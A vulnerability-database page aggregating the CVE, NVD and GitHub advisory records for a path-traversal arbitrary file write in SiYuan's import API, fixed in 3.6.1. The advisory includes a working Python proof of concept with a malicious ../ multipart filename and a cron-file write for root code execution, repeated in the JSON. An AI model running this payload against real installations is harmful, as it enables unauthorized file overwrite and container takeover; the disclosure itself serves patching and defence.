Vulnerability-Lookup

CVE-2026-32749 (GCVE-0-2026-32749)

Vulnerability from cvelistv5 – Published: 2026-03-19 21:07 – Updated: 2026-03-20 20:18

Title

SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write

Summary

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.

Severity

7.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-20 20:17 UTC

CWE

CWE-73 - External Control of File Name or Path
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM
https://github.com/siyuan-note/siyuan/commit/5ee0…	x_refsource_MISC
https://github.com/siyuan-note/siyuan/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
siyuan-note	siyuan	Affected: < 3.6.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-32749

Vulnerability from fkie_nvd - Published: 2026-03-19 21:17 - Updated: 2026-06-17 10:36

Severity

7.6 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14	Patch
security-advisories@github.com	https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1	Release Notes
security-advisories@github.com	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	b3log	siyuan	*

JSON

To clipboard

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        "Release Notes"
      ],
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-QVVF-Q994-X79V

Vulnerability from github – Published: 2026-03-16 18:47 – Updated: 2026-03-30 13:58

Summary

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Details

Summary

POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.

Details

File: kernel/api/import.go - functions importSY and importZipMd

file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)

importZipMd has a second traversal in unzipPath construction:

filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath    := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

import requests, zipfile, io

HOST  = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr("TestNB/20240101000000-abcdefg.sy",
        '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
    z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)

r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
    data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})

print(r.text)

RCE via cron (root container):

cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})

Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}

Impact

An admin can write arbitrary content to any path writable by the SiYuan process: - RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys - Data destruction by overwriting workspace or application files - In Docker containers running as root (common default), this grants full container compromise

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32749"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:47:02Z",
    "nvd_published_at": "2026-03-19T21:17:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nPOST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.\n\n### Details\nFile: kernel/api/import.go - functions importSY and importZipMd\n\n```go\nfile := files[0]\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\nimportZipMd has a second traversal in unzipPath construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath    := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)\n```\n\nfilepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST  = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \u0027w\u0027) as z:\n    z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n        \u0027{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}\u0027)\n    z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n    data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n    data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n```\n\n**Confirmed response on v3.6.0:** {\"code\":0,\"msg\":\"\",\"data\":null}\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys\n- Data destruction by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants full container compromise",
  "id": "GHSA-qvvf-q994-x79v",
  "modified": "2026-03-30T13:58:28Z",
  "published": "2026-03-16T18:47:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32749"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-32749 (GCVE-0-2026-32749)

FKIE_CVE-2026-32749

GHSA-QVVF-Q994-X79V

Summary

Details

PoC

Impact

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